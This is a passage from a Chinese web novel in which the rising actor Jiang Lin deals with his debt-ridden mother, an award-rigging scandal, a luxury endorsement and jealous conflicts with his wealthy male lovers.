“这些年你眼看着风光起来,你妈我也觉得非常欣慰,你看着年纪也不小了。如果有合适的也能谈恋爱了,娱乐圈这么多美女,你总有喜欢的吧?” 江林视线虚虚落在她身上,勾起嘲弄的唇角:“你知不知道我今天才21?” 李智晴理直气壮地说道:“21岁正是找对象的好年纪,找一个谈两三年,然后结婚生娃。你们要是没时间,正好我来帮着你带,不管是孙子和孙女我都喜欢” 她一副准备在这里定居的语气,江林定定看了她几秒,意味深长回答:“好,给你找个大胖媳妇回来。” “那敢情好。” 江林和李智晴吃完饭,又带着她去商场买了新衣服,她站在金店不肯走,江林便又给她买了一套金饰,一时忘记到底是谁过生日。 在回去的路上,李智晴和江林坦白,“我欠了五十万的债,你要是有闲钱,愿意帮帮妈妈也可以,实在没有,我就在你这里躲一躲” 江林正在给明若卿发消息:【明叔,想你了。】 明若卿隔了十来分钟才回。 【下班了?去哪里找你。】 【来我家。】江林回复完,才笑着看向李智晴:“我有钱,您这么辛苦把我拉扯大,我自然是要还上这个债的。” 李智晴顿时喜上眉梢,看向江林的眼神充满了爱意:“这些年是妈妈对不住你,但也是妈没能力,以后咱们娘俩相依为命,一起生活” 江林不置可否的微笑着。 他带着李智晴回家,看着那套两百多来平的房子,更是眼冒绿光,她有些不敢置信地问道:“这是你的房子吗?” “租的,我哪有那样的本事,这么快买房?”江林脱下自己的外套,里面穿着短袖,露出精壮有力的手臂,整个人陷入沙发中,慢悠悠抽着烟,眼底夹杂着丝丝不怀好意的笑。 “这样啊,好吧。”李智晴有些失望,却也四处转悠打量了一瞬,将房子里一些值钱东西都过了过眼。 江林给她安排在客卧睡,让小庄给她铺好床单。 李智晴见小庄这么任劳任怨,她第一次享受到了被人伺候的感觉,更加不想离开她亲爱的儿子了。 “因为要北上来找你,我已经几个晚上没合眼了,实在挨不住了,妈就先去睡了。”李智晴笑眯眯看着自己手机里的转账记录,顿时觉得自己这趟没来错。 在电话里江林哪有这么好说话? 一万块钱都要不到。 到底还是血脉亲情,见了人说几句软话,他还能不管她这个怀胎十月给他生下来的母亲? “好,您好好休息,有什么不舒服的直接来问我。”江林头偏靠在沙发上,嘴里咬着烟,眉眼间尽是冷淡的笑意。 李智晴做着美梦入睡,直到半夜被客厅杯子摔碎在地上的声音吵醒,她眨了眨眼睛,隔着一扇门,男人的低吼声也依稀可闻,她是过来人自然知道这死动静是什么。 她一股脑坐起来,还以为江林骗了她,实则早就有了女朋友,悄咪咪打开一点缝隙,首先看见的是摔在地上的玻璃杯碎片,而后看见的是沙发上的两个男人,她瞬间瞳孔一缩。 李智晴浑身都发起抖来,江林还是完好的白色短袖,只是拿手轻轻撩起一点衣摆,露出筋骨分明的下腹,肌肉紧绷如同一块铁板。而趴在沙发靠背上的男人,西装革履,领带都未解开,头发一丝不苟地梳着,此刻又一两缕散落,蹙着眉似乎有些难受。 江林似乎察觉到她的目光,朝着那暗处看来,桀骜不驯的眉眼,眉宇间一层薄薄的汗意,眼皮染上了点点胭脂色,红润的唇角勾着恶作剧成功的坏笑。 女人的尖叫声吓了明若卿一跳,顿时脸色都有些发白了。 李智晴像疯了一样冲出来,一把揪住明若卿的衣领,朝着他拳打脚踢过去,嘴里低声咒骂着:“打死你这个不要脸的东西,勾引我儿子的贱货,啊啊啊,不要脸!” 明若卿拧着眉原本想把人扔开,但在听见她说江林的儿子后,手便顿住了,脸上硬生生挨了她一巴掌。 江林伸手把李智晴拉开,明若卿站在江林伸手系好自己的裤子,越发威仪刚毅的眉眼,此刻却像是结了冰,冰碴子都从脸上簌簌地掉,除了他外公,这是第一个能扇他巴掌的人,指着他的鼻子骂他还不能怎么样。 明若卿的羞耻心和自尊心在轻轻拉扯和破碎,却也没有什么好说的,上赶着被江林捉弄,故意让他母亲捉奸。那杯子是江林自己摔的,所以他只是成为他报复母亲的一个工具而已。 不知廉耻地和他做,然后被骂也正常 “妈,你做什么呢?”江林笑了一下,他早在李智晴和明若卿发生矛盾的时候穿戴整齐了,抓着李智晴挣扎的手臂。 “我帮你打死你这个勾引你的恶心男人!”李智晴气得浑身发抖,同性恋根本不在她能接受的范畴内,就算她从来没有关心过江林,但是同性恋对她来说就是丢面子的事儿,她以后还怎么在亲朋好友面前做人? 江林笑得更加欢了:“那你应该打死我,我才是那个罪该万死的同性恋。孙子也好,孙女也好,反正我是生不出来了。妈如果有余力,倒是可以自己试试,再生一个。” 他气死人不偿命,李智晴骂得更凶了:“@#¥%……” 大部分话都在骂她自己。 明若卿准备离开,实在不想再继续听这些尖锐腌臜的话,让他们两人的关系蒙上一层阴影,晦暗不明的恶心。 “你慢慢骂,我先走了。”江林见明若卿离开,也准备走,反正这出戏已经唱完了。 “你不准走!”李智晴抓着他的手腕,嘶声竭力。 “五十万,你不想要了吗?”江林轻轻飘飘的威胁道,眼神往下睨过去。 李智晴瞬间犹豫起来,儿子哪有钱重要啊? 江林关上门,没有电梯卡,明若卿没办法离开,背对着江林站在电梯口,伟岸宽肩的背影,身上沉淀的气质比当明导时更加深不可测。 他似乎知道自己玩得过火了,轻轻搭在明若卿肩膀上,轻声道:“别生气嘛,明叔,今天我生日,你能不能别生气了呢。” 明若卿身上还带着浅淡的酒气,刚刚应酬完便来找了江林,没想到被他当头一棒,谁能想到外头风头正盛的明厅长抛下一桌子人来找自己的小情人,还被扇了一巴掌。 也就明若卿能忍,一般人还真做不到他这般。 江林掌心下的肩膀在轻微颤抖,隐忍克制的下颌线,男人咬肌紧绷着,牙关都在几不可察的打颤,这样的屈辱明若卿什么时候受过? “他是我妈,欠了一屁股债来找我,还想让我传宗接代,给她生个孙子我这不是把她媳妇带给她瞧瞧吗?”江林弯起唇角,玩闹似的亲了亲他的侧脸。 “”明若卿骂不出什么难听的话,警告地看着江林:“就这一次,再有下次” 江林笑眯眯看着他,好奇般问着:“再有下次怎么样?” 明若卿拧起眉,眉眼有些冷:“咱们别来往了。” “这么狠啊?”江林胳膊搭在他肩膀上,敷衍地嗯嗯两声,保证道:“保证没有下次了。” “我的生日还有一个小时。”两人走进电梯里,江林看了看表,强调着今天的特殊。 明若卿眉眼间有些疲惫,藏着丝丝无奈,他握住江林的手腕:“你想要什么生日礼物。” 江林好像就在等这句话,轻声道:“就想让您一直陪着我。” 明若卿怔了怔,移开黑沉的视线,虽然知道这是江林的故意为之的小把戏,但还是忍不住内心涌起些澎湃的心思,耳畔是江林故作可怜的声音:“明叔,我爸还在监狱,但好像快要出来了,我妈又是这样的,我从小就像是孤儿一样,现在身边的人也少之又少” “今天我收到的礼物就是我妈从老家带来的几罐快要馊掉的酸萝卜” “说着跟小可怜一样。”明若卿恼怒的心思已经被打消了大半,看了一眼江林:“可不像刚刚和你母亲针锋相对的凶狠样子了。” 江林嘴角装不下去地抽搐了一瞬:“那怎么样嘛?你心疼心疼我不行吗?” 明若卿握住他的手指,黑眸看着他的眼睛,刚想说什么,电梯到了车库,他开着低调的大众,司机已经在车内待命了。 江林跟着明若卿回到他的江景大别墅,在距离十二点还有十五分钟左右,落地窗外面的桥对面,亮起了漫天的花火,冲破天际,灿烂如银河。 “去看看喜不喜欢。”明若卿揉了揉江林的脑袋。 江林惊了瞬,“这是给我放的?” “嗯。”明若卿沉稳内敛。 江林小跑到落地窗前,眼底印着绚烂的烟花,在天空中仿佛满天星般,声势浩大,他都不知道明若卿怎么做到的,在这么短的时间内,他环抱着手臂,静静看着烟花落幕,重新恢复平静。 他的身后站着明若卿,两人一般高,玻璃窗上前后印着两人的脸,江林唇角勾了勾:“明天应该会有很多人投诉你扰民的。” 明若卿不置可否地抿唇一笑,“生日一年只有一次。” “谢谢你。”江林转身看着他,抬起手臂抱住他。 “二十一岁。”明若卿声线平稳,仿佛不管遇见天大的事儿,都不会有任何的改变,但脸上还有依稀可见巴掌印的红痕,他说:“你还很年轻。” 江林埋在他颈侧,眼皮拉耸着,困意上涌,他今天早戏五六点就醒了:“嗯,明叔嫌弃我年轻了?” “不是。”明若卿只是想着,江林年轻身后有无数条退路,那他呢? 等江林到他的年纪,他们又是什么样的呢。 江林勾着他的脖子回房间睡觉,嘀咕着说道:“好啦,我就喜欢老的,有思想深度,能够自洽,哄我的” 李智晴连夜将江林屋里所有值钱的东西都带走了,知道自己儿子是个‘变态’后,那就什么母子情分都顾不了了。 半个月后,江林《江湖》的戏份到了尾声,他穿着一身银色铠甲,前面狼烟四起,风沙飞舞,原本风流的面容在头盔下露出锋利坚毅的眼睛。 他的脸上逐渐染上了血污和风沙,他面前的百万雄师,身后是一座孤城,身边是留下来的最后残兵。 血包被咬破,他嘴里淌出血线,胸前插着箭矢,被围攻了。 一场戏后,江林接到了白宝戎的电话。 他大爷似的喊着江林的名字:“江遂,你妈叫什么名字?” “李智晴。”江林回答,任由化妆师给他补妆,扬着下巴。 “那女人真是你妈啊。”白宝戎操了一句,开始和江林吐槽起来:“有个叫李智晴的女人在我赌场输了钱,借了不少,让她还钱,她叫嚷着她儿子是大明星” “这真是我丈母娘啊?”白宝戎轻笑一声,带着些嘲弄。 江林没回答他的问题,脑袋上的盔甲沉甸甸的,他忍不住摘下来,“让她留在你赌场打工还债。” “噢?”白宝戎明白了江林的意思,对付这种赌鬼,他们是专业的:“看在你的面子的,她不会少吃少穿的,放在我这儿你就放心吧。” “嗯。”江林算是解决了一个麻烦,心情还不错。 “咱俩又好久没见面了吧?”白宝戎算了算时间,最近他都在国外,没时间去找江林,不过电话和视频没少发。 江林扔下一句:“又要开拍了,拜拜。” 白宝戎气得牙痒痒,发誓下次看见江林非得干死他不可。 /// 江林的最后一场戏,是扮作尸体,被男主邓阳抱着哭丧,真情流露般抱着他的尸体发出阵阵哀嚎声,低沉又崩溃的嗓音,冰冷的眼泪滴落在江林脸上。 他感觉邓阳收紧的手臂紧紧抱着他,身体哭得在发抖。 导演温才英非常满意这两场戏,江林和邓阳的戏不分上下,都非常好,代入感极强,现场某些代入感强的工作人员已经垂泪了。 随着一声卡,邓阳没有立刻松开江林,似乎情绪还没出来。 江林不冷不热地开口:“抱够了吧,再抱下去,我的金主要生气了。” 邓阳红着眼,狠狠瞪了江林一眼,眼底都是气恼,但却没有之前那般和江林对骂,抽噎一口气,经过四个月的相处,居然对江林生出丝丝不舍了。 “你的戏不错,为什么要走歪门邪道,被人包养虐待,也很难过吧。” 江林坐起来,奇怪地看了他一眼,“谁告诉你,我被虐待的?” “网上不都说,你进医院都是金主搞的”邓阳一不小心暴露了自己5G冲浪的事实。 江林扯了扯嘴角,整理自己的衣襟,低声扔下一句:“我虽然是同性恋,但我不是被搞的那个,明白吗?蠢蛋。” 他杀青了,也算看清楚了邓阳就是一个没脑子又喜欢争第一的主,被骂了几顿就老实了,本质也是欺软怕硬的。 邓阳呆了呆,表情似乎有些惊悚,江林和导演、主演等一一拥抱,拿着导演的红包离开了片场,马不停蹄地前去录制综艺。 《推4》开始录制,邀请他去参加先导片的录制。 因为《推3》江林的形象很好,反响也很热烈,再加上是橘子台的自制综艺,叶成哲没道理不把这种机会给自家艺人。 录制完综艺差不多都凌晨三点多了,叶成哲在楼下等他,江林顺势上了他的车,反正现在逃不开。 江林困得眼皮都睁不开了,更不想应对叶成哲,“有什么明天再说。” 叶成哲倒也没有为难他,将人带到自己家里过夜。 在江林洗漱的时候和他接了个吻,之后江林倒床便睡了。 江林第二天是在叶成哲嘴里醒来的。 他迷糊地睁眼,光洁的天花板,旁边挂着湛蓝色的壁画,一片汪洋的海,上面几只海鸥翻飞,海浪拍岸,耳边似能听见水声。 江林在床头点了根烟,床柜前有烟灰缸,脑子逐渐清醒,眼神清澈,满脸无欲无求的冷漠,在叶成哲凑过来亲的时候,扇了他一巴掌,他便不敢再凑上来了。 叶成哲也不生气,只是趴在他肩膀上,声音哑然:“今天带你去见北圈电影圈的老前辈” 叶成哲以为这是江林求之不得的事情,但没想到江林一口回绝了:“不用。” 叶成哲稀罕地看着他:“为什么?” “那些人应该很瞧不上我吧?”江林咬着烟,神情淡淡的,否则以叶成哲和明若卿这两条线,早就该有电影找上他了。 明若卿不混圈子,却是根正苗红的人物,谁都要给他三分薄面。 而叶成哲更算是该圈子里的核心人物,但到现在为此,他们都没有对江林抛出橄榄枝,摆明了瞧不上他。 “他们就是一些老古板。”叶成哲叹息一声,北圈绝大多数资源还是掌握在老古板手中,不愿意放权,也非常排外。 “我不需要靠他们。”江林垂眼看着叶成哲,手轻轻在他脸上又拍了几下,半边脸颊都扇红了,“我现在甚至可以不需要你了。” “让他们带着那点东西入土吧。” 叶成哲痴痴看着他,江林那股不屑一顾的模样,勾人得很。 第97章 “你应该也有听见一点风声吧。”叶成哲撑着手臂, 看着江林脸上的神情,弯了弯唇:“这次潇盛奖你的那部剧入围了最佳男主角” 明若卿那部仙侠剧。 江林静候他下面的话。 “但有人力保其他人成为男主,你可能只能作陪了。”叶成哲说的都是内部消息。 萧笙奖是国内三大奖项之一, 从前的含金量是很不错的。 江林年轻,没想过获奖, 但被人内定,给人抬咖这种行为他还是不爽的。 “获奖的人是谁。”江林云淡风轻地问。 “朱天翌。”叶成哲回答。 听到这个名字,江林怔了一下, 才缓慢地从记忆中调取他的消息。那是一个糊咖,资源却很好, 演技也一般,但最近有部剧关于医患方面的剧上线,他的哭戏还被人拿出来大肆宣传,说是演技好。 大概就是为了这次奖项铺垫的。 但用江林的眼光来看,就是在硬捧,哭戏用力很猛, 恨不得全世界都知道他在表演, 那部剧也是血扑, 没有达到资本想要的结果,但买了很多次水军和热搜。 “入围的男星有哪些?”江林继续询问。 “还有两个老戏骨, 魏香年和李维竣。”叶成哲嘴角的笑容变得有些嘲讽, 那些人为了让这个奖项更加有含金量,给朱天翌抬咖,最终还是选择了这种冒险的方式。 这两个老演员, 江林便没话说了,演技一流,只是不善营销, 但角色出圈,演技可圈可点,路人缘好。 江林眯了眯眼,掐灭烟,扔开叶成哲的手,“我当不了没关系,总不能让他这么舒坦地拿奖吧?” 他起身去洗漱,叶成哲跟在他屁股后面笑着道:“到时候自然不可能让你吃亏的,他们还想宣传什么最年轻的影帝获得者,也不看配不配。” 江林扫了他一眼,算是赞同了他的话。 之后,江林参演了叶轶给他推荐的一部电影,是讨喜的配角,不在乎咖位,服从安排。 叶轶给他介绍的资源,都是一些小成本电影,导演或许岌岌无名,但剧本都是经过精心筛选的,全都是有精彩之处。 江林没给自己多少休息的时间,不停地进组拍戏学习。 萧盛奖颁奖现场,江林正在剧组拍戏,没有去现场,在微博热搜上看见了自己的名字。 #江遂实惨# #黑幕# #潇盛奖水# 潇盛奖给邵依尘的选片极为敷衍,像是随手截出的几分钟,而朱天翌则是精心挑选的片段,对比很强烈,落差太大,让剧粉和江林的粉丝都看不下去了。 【潇盛奖黑幕不要太明显,你给人家江遂截取的是什么片段?你怎么不给人家截睡觉的片段算了呢?】 【退一万步说,江遂资质不够,演技不好,那另外两位老前辈的戏还能比他差?】 【朱天翌演的那部戏听都没听过,更别说看了】 【这次吃相是真的太难看了。】 【不会真以为朱天翌假的要死的哭戏很牛逼吧?】 路人也接连下场,重新给江林冲了一波热度,然后自然还有铺天盖地的水军夸朱天翌的演技,但是于事无补,路人缘算是坏透了。 现在可不是资本可以下场控制舆论的时代了。 江林对这个结果还算满意,一口吃不成一个胖子。 姚金一个电话给他拨了过来,语气中隐隐有着雀跃:“刚刚DL品牌方联系到我,说是有意向和你合作,请你代言” 江林的商业价值正在隐隐体现,比如说那次直播cos男鞋的直播间,他的销售额便破了直播间销售额的纪录,此前也有男星代言过该品牌,但反响平平,他的粉丝是真消费啊。 男鞋都肯买,更别说其他的。 在江林生日那天,也有很多富婆姐姐花钱租了大屏祝他生日快乐,甚至还有车队应援。只是当时江林在拍戏,没有关注超话和微博。 江林去DL团队拍广告的时候并没有遇见艾璟,他穿着DL的衣服,背着DL的包包还戴着DL的首饰,男模般的身材,衬得衣服更加贵气逼人。 他中指和无名指戴着戒指,手放在锁骨前展示,脸上的表情却很冷峻,穿着空心西装,外面披着一层黑纱外套,装饰作用。 当江林官宣DL品牌代言后,事业粉的狂欢,四处炫耀,战斗力翻倍,直道:轻舟已过万重山。 最终,江林也没有辜负资本方的青睐,富婆姐姐们纷纷在超话和评论区晒出自己的购买记录,数据非常漂亮。 吓得江林连夜开了直播。 江林是真不知道她们能这么挺自己,那可是高奢,没有任何一样东西是低于五位数的。 他毫无预兆地开播,瞬间直播间居然涌入十几万人,人数还在持续上升,弹幕刷个不停,看不过来,他穿着睡衣,脸上的妆也全部都卸了,生疏地跟粉丝们打招呼:“hello,大家晚上好。” 【哇哇哇!晚上好宝宝。】 【老公好帅!】 【晚上好!】 “我刚刚下戏呢,在剧组。”江林也只是紧张了几秒钟,很快就放松下来。 闲聊了半天,他才进入话题,“今天不是官宣了DL的代言吗?我商务经纪人跟我说DL商务那边告诉她,大家都买了很多千万千万要量力而行噢,很贵很贵” 【你好不容易能有一个奢侈品代言,当然是要狠狠支持啦。】 【别担心,姐有点小钱。】 【呜呜,宝宝就是因为这个开播啊。】 江林接得代言确实少,让粉丝除了反复看他的剧,然后就没有然后了 所以现在江林好不容易有个好的代言,这些事业粉就开始疯狂做数据了。 江林越说量力而行,她们越是疯狂。 “先过好自己的生活再来支持我好吗?”江林软蓬蓬的黑发,五官无美颜无滤镜下,更是直击眼球的帅气英俊,穿着睡衣的样子更像是深夜和她们谈心的帅弟弟。 “以后我会拍很多戏,会有很多代言,我们来日方长。” “大家一定要过好自己的生活,如果我知道大家借钱或者贷款支持我,我真的会生气的。” 江林找艾璟,找叶成哲,甚至是找明若卿,都从来没有任何的愧疚,因为他知道他们是有所求的,但这些粉丝们却不同,她们单纯就是爱他 他真的不希望她们破费,资源什么他都能自己去争。 江林和粉丝们聊了半个小时就下播了,毕竟明天还要早起拍戏。 但和江林的想法不一样,粉丝们经历全网黑,险些被封杀,又有潇盛奖的黑幕,被喊打喊骂,粉丝们也都憋着一口气呢。 最终江林争气,前脚入围最佳男主角,后脚代言顶奢品牌,狠狠地打了某些男星粉丝的脸。 粉丝想用爱将江林高高举起。 因为他值得。 叶成哲看着江林的直播和他这次代言的数据以及许多资本方给他的反应,脸色有些微沉,突然反应过来,从前都低估了江林,也低估了他的价值。 如果按照这样的趋势,江林只需要一年的时间,就能让十亿的目标实现。 也就是明若卿退圈了,不在乎这些东西,不然凭借《依尘传》就能赚得盆满钵满,生不逢时,江林那时候被黑得太惨了,否则放在现在光广告费都能拿到手软,更别说那些周边或者综艺的开发 谁也没想到仅凭着一部剧就让江林的咖位飞升了。 叶成哲想让江林飞,但又不想让他飞的那么高,就像是放风筝,只有一根细细的线勾连着两人,他飞得越高,挣脱风筝线的可能性便越高 他思考着为什么江林的粉丝会黏性这么高,会这么疯狂,大概是物极必反?越是打压,人的逆反心理越重? 但叶成哲可以肯定的是江林的成功无法复制,首先要找一个明若卿这样的传奇导演就少之又少,还要像江林那样被全网黑,被泼脏水,踩进泥里还能爬起来的机遇,舆论风波又控制的正好,不会让人觉得是刻意的资本运作,没有把观众当成傻子。 他也是帮助江林的资本之一。 他忍不住生出焦虑不安的情绪,想要握紧手中的沙,沙砾却随着他越来越紧的动作而流失得更快 直播结束后,白宝戎一把抱住江林的胳膊,贴着他的耳垂咬了一口,“恭喜大明星,有这么多大老婆。” 白宝戎从国外第一件事就是往江林这里跑,给他带来鸽子蛋般大的红宝石,江林才给了他一点好脸色,江林手放在他腰上,稳住自己的身形。 刚刚直播间喊江林老婆和宝宝的人不在少数,酸不拉几说出这几句话。 “行了,明天拍戏,没空跟你乱搞。”江林撑起手臂,直接将人推开了。 白宝戎也没想做什么,就是要黏在江林身边,抱着他的腰睡觉。 【江江生日都没开播,现在为了让我们理智消费,第一次开播了,呜呜呜,这不是爱是什么?】 【姐有点小钱,就愿意给他花。】 【笑鼠,刚刚江宝一直在让我们好好学习,努力工作,强调了得十几遍,像个小爹似的。】 【对啊,生怕我们像叛逆的小孩儿给他消费。】 【但他有爱人呢,你们这些女友粉真的好吗?】 【黑子滚蛋,就算是女友粉又咋了,我们祝福江江和他的对象,不会去当小三。】 【谁说我是江江的女友粉,我是女儿粉,他是我小爹。】 年末尾声,江林一整年跑了三四个剧组,后面几个剧组都是饰演的配角,没有天价片酬,只要角色好剧情好,他都接,甚至有些还是0片酬出演。 电影《南辕北辙》也开始宣传了,辛珂给江林打电话,笑得牙都合不拢,像是捡到宝,提前告诉江林和叶轶会开始放一些预告和花絮,但避开了春节档,没有选择和那些大片对打。 预告中,颇有悬疑剧的感觉。 首先,出现的是饰演陆沉持小时候的演员,他躺在地上奄奄一息,身上的衣服破破烂烂,雨下得正大,坑坑洼洼里都是浑浊的泥水,半边脸都沁在水中,眼睛都睁不开,污秽不堪奄奄一息。 而打扮得干净清爽的小孩,撑着一把比身体更大的伞,看着受伤的男孩,柔白的脸庞和邋遢的男孩甚至不像是一个图层,躺在地上的男孩眼珠子转动了一瞬,看向光鲜亮丽的穿着雨鞋的小孩。 画面猛地一转,这次挨打的人成了干净的小孩儿 小孩离家出走,和邋遢男孩相互拥抱着互相取暖。 这是第一个预告。 江林最近和叶轶的关系不错,很多角色都是他经纪人介绍的,所以两人的关系经过将近一年的沉淀表面上也变得很平静了。 “你在江新区吗?”叶轶随着电影的宣传,也给江林打了个电话。 “在啊。”江林正巧刚刚杀青,给自己放了一星期的假,刚刚从健身房回家。 叶轶爽朗一笑,道:“我也正好在,咱俩约一顿?” 江林挑眉,有些狐疑地说道:“不会是想和我炒作吧?炒作不着急吧” 叶轶愣了愣才反应过来:“没炒作,就是请你吃顿饭而已。” “行啊。”江林大方地说。 两人约了地点和时间,江林的社交圈比较窄,工作忙的时候半夜才能回消息,久而久之,江林身边除了工作人员以及保持着亲密关系的三人,都很少和其他人出去吃饭。 路上堵车,江林迟到了二十分钟。 叶轶小包间内,嚼着泡泡糖,瞧见姗姗来迟的江林,开头一句就是:“现在开始耍大牌了啊,江遂。” 江林翘起唇角,微微一笑,“嗯咯,报警抓我吧。” 叶轶见他还是这副欠揍的样,心中莫名舒坦了一瞬,使劲调侃他:“DL品牌大使就是不一样哈,说话都有底气了。” “那比不上叶影帝呢,迟来的恭喜啊,恭喜斩获华书奖最佳男主角的桂冠,厉害厉害。”江林脱掉自己的羽绒服外套,摘了口罩和帽子,露出那张越发英俊的脸,英气逼人。 “刚刚路上堵车,来晚了一点,让叶影帝久等了,我罚一杯。” 他给自己倒了杯茶,沾湿嘴唇。 “你可以再没有诚意一点吗?”叶轶的笑声从胸腔闷闷地倾泻而出,眉眼间含着笑,别人罚酒,他罚茶,别人一杯,他一口。 “你怎么会是这种斤斤计较的人呢。”江林把自己的外套挂起来,扯了扯有些扎人的毛衣内衬,露出被磨红了的锁骨,依稀还能看见刚刚一闪而过胸口的吻痕。 “行了,先点餐吧。”叶轶面不改色地把菜单递给他。 这是一个日料店,环境都是日式风格,原木色的木墙,将每个隔间单独隔开,空间不算大,小庄和司机在旁边用餐,海鲜拼盘,精巧的寿司,三文鱼刺身 “听老尤说你最近才杀青?”叶轶一口一个寿司,眼神是认真盯着江林的,他一向这样尊重人,说话都会看着对方的眼睛,眉目硬朗。 老尤是江林上个剧组的导演。 “嗯。”江林蘸着芥末吃了一口糯感十足的三文鱼,细细地咀嚼,最终还是不太喜欢吃这种东西,吃了口鱿鱼寿司。 “你接下来有什么打算?”叶轶像是好友之间的闲聊。 “接着拍戏呗,还能怎么办?”江林喝了一口茶,眼神笑眯眯的,突然没正经地反问一句:“叶老师询问我感情上的事情,还是工作上的呢?” 叶轶给他倒柠檬水的动作都稍稍一顿,无奈地看着他江林:“你少撩。” “哼。”江林微微扬起下颌。 “现在很多人都想通过我找你,准备和你进行合作呢,你商务团队卡的太死了,很多品牌根本没有机会”叶轶只是简单提一嘴,似乎没有其他的意思。 江林却知道他想表达什么,他的商务约也在桃利经纪公司手上,叶成哲见他风头如此强盛,不管出于什么心理和目的,都不会想让他飞的太高,所以很多东西甚至没有经过他自己,就被拒绝了。 “我上亿违约金还是叶成哲给我垫的呢。”江林叹了口气,似乎很忧愁。 叶轶拧起眉,见他这般欲言又止,最终还是压低声音,开口提醒道:“你和叶成哲的关系匪浅,如果只是合作关系,你不必担心他的能力,可是你们的关系也许会让他毁了你。” 两人坐在窗边,旁边是漆黑的夜,明火微亮,照应着两人的脸庞,在江林侧脸泛起了丝丝柔光。他瞳孔漆黑,似笑非笑地看着叶轶,还未张嘴发出声音,便听见门帘被重重掀开,叶成哲身影突兀地出现在门口。 “我会毁了谁?嗯?”叶成哲直接走了进来,脸上扬着笑容,坐在江林的身侧,直勾勾看着脸色有些怔愣的叶轶,他喊:“小叔?” 江林挑眉,显然没想到这话居然被叶成哲听了去。 叶轶黑色粗粝的寸头,眉头蹙起、冷下脸来的时候自带一股凌厉的严肃,“你一直在门口偷听?” 叶成哲伸手握住江林的手指,态度散满:“我刚巧路过,是你们说话声太大了。” “小叔和江林诋毁我的名誉,这可不是你会做的事情啊。” 江林见叶成哲眉眼间虽然还是笑吟吟的,但藏在眼底的烦躁和厌恶,像个被刺激到的疯狗。 叶轶从前尝试和叶成哲交流,但发现和他无法交流,他自有一套逻辑,打翻你所有的逻辑。 “你也觉得我会害你吗?”叶成哲突然转头,死死地盯着江林的脸,那眼神那是看什么爱人,凶恶的像是在看仇人,凶相毕露。 江林却半点不怕他的发威,抬手甩开他的桎梏,拿起银筷子,夹起近在咫尺的炭烤金枪鱼,云淡风轻地来了一句:“有没有这种想法你自己最清楚,何必来问我?” 叶成哲一秒后,顿时更加燃起来了:“哼,你有多好心?让我赔付的天价违约金是你和蒋红的七三分账吧?你在两头捞利,我也只是睁一只眼闭一只眼,现在还让蒋红私底下给你接了私活……你知不知道这是违反合约的,我能让你赔死。” 叶轶看着两人仿佛即将擦枪走火,真刀真枪地干起来,盘算着是不是要叫人进来劝架,但又想看两人的交锋。 “你去告我,让我赔。”江林将鱼块冷着,偏头只给他一个眼尾,冷漠的侧脸,格外的令人心寒,依旧是平静的语气,“你敢吗?” 叶成哲刚刚还能保持虚假的微笑,现在杯江林这么一挑衅,彻底阴沉了双眼,呼吸声都粗了,“江林!” “你倒是快去告我啊。”江林拉长了语调,有恃无恐地看着他,不是在威胁叶成哲,而是真的不怕他。 叶成哲如果能狠得下心来,他现在想要扼杀江林虽然有点可惜,有点困难,却还是能做到的,只需要拿着合约耗着他,耗个三五年,自然江林就凉了。 那他和江林也算完了。 叶轶到头来还是劝架的那位:“先都消消气,都是一个公司的利益共同体,总是能找到切入口谈和的是不是?何必要闹得那么难看?” 叶成哲依旧固执地瞪着江林,自认为自己虽然有过坏心思,却待他不薄,甚至他都还没来得及下手,现在却遭受无端地怀疑。 让他委屈至极,心酸至极,想要弄死江林。 江林吃掉那块鱼肉,脸上的表情缓和了,转身看着叶成哲,旁若无人地训狗,看得叶轶目瞪口呆。 “你让小庄事无巨细的报告我的行踪和日常,还时不时让金姐敲打我,压下我很多的分成,这些我都纵着你。无所谓,咱俩睡过这么多次,也是有情分的。但最近我的代言也被抢走不少,还让我带着新人入组,用我奶新人。这些不都是你授意的吗?你现在在委屈什么?” 江林望着叶成哲,“你该转变对我的想法和态度了,你知道我身边不止你一个人,从前你管不了我,现在我身后那么多粉丝,那么多底气,你更加管不了了。全世界不是只有你叶成哲有钱,也不是只有你是资本。” “赚钱的事多的是人干。” “你能老实收钱给我提供团队,就相安无事,若是还要搞那些自欺欺人打着为我好的恶心旗号,耍着自以为能够瞒天过海的把戏,那你就滚蛋,离我远点。” “我身边从来不缺听话的狗。” 这话让叶轶瞪大了双眼。 叶轶:他听到了什么不该听的东西。 第98章 半封闭的包间内, 在江林话音落下后,叶轶想说的话,被他一股脑全咽了下去, 第一次听见有人当着叶成哲的面儿骂他是狗的。 叶成哲虽阴沉着脸,眼含怒火, 却没有把桌上的盘子扣到江林的脑袋上,也算是克制温和了。 江林先给叶成哲一点甜枣,说着两人之间的情分, 但下一瞬又巴掌啪啪甩在他脸上,他知道叶成哲还未对他造成实质性的利益伤害, 否则他就不只是嘴上警告了。 叶成哲还是非常能忍的,只是几个呼吸间,他的情绪便平稳下来,机械地扬起唇角,看向叶轶,依旧是那副高高在上的姿态, 睥睨着叶轶:“让小叔看笑话了, 我和我家艺人有点事情要处理, 能麻烦你先滚蛋吗?” 叶轶原本的确觉得自己多余留在这里,但叶成哲语气这般不敬, 他屁股坐得稳稳的, 仿佛没看出两人之间的风起云涌,说道:“我约的江遂,要走也是你先离开吧?好侄儿。” 江林倒是不在乎, 先行填饱肚子,吵架可没有吃饭重要。 叶成哲不说话了,只是一双通红阴湿的眼睛盯着两人, 视线在两人之间循环移动,不吃东西,就死盯着,活像是捉奸的丈夫,忍气吞声的模样。 “叶老师,希望咱俩还有机会合作,您别嫌弃我的演技不好。”江林谦虚地说道,忽略了旁边的叶成哲,抬起手腕,用茶杯和叶轶的杯子碰了碰。 叶成哲咬肌紧绷,牙都咬碎了,江林对谁都彬彬有礼,偏偏对他鼻子不是鼻子,眼睛不是眼睛的,叶轶也算老师?他也配? 叶轶到底还是无法忽视身边的大活人,表情有些尬尴,接话道:“来日方长,总有机会的。” 江林撑着下巴,脸颊被热气熏得有些发红,眯着眼看向叶轶,冷不丁地扔出一个炸弹:“叶老师还记得我们拍南辕北辙的时候,咱俩拍吻戏,能拍上一天您觉得和男人接吻相比和女生接吻有什么不同吗?” “”叶轶稳住心神,还真的认真回答起来:“差不多,都是两片嘴唇子,真的吻起来,谁还在乎男女?而且现在的剧太多露骨的吻戏,我倒是比较怀念从前的剧,不需要吻戏,也能展现出主角之间的暧昧和拉扯。我都不轻易接感情戏了,连我自己都打动不了的剧情,大概也很难打动观众,都是工业糖精罢了。” 他这话让江林拱火失败,完全将自己摆放在前辈的位置。 江林莫名笑了笑,到底还是亲叔侄啊,还是会心疼人,不愿意看自己侄子太狼狈。 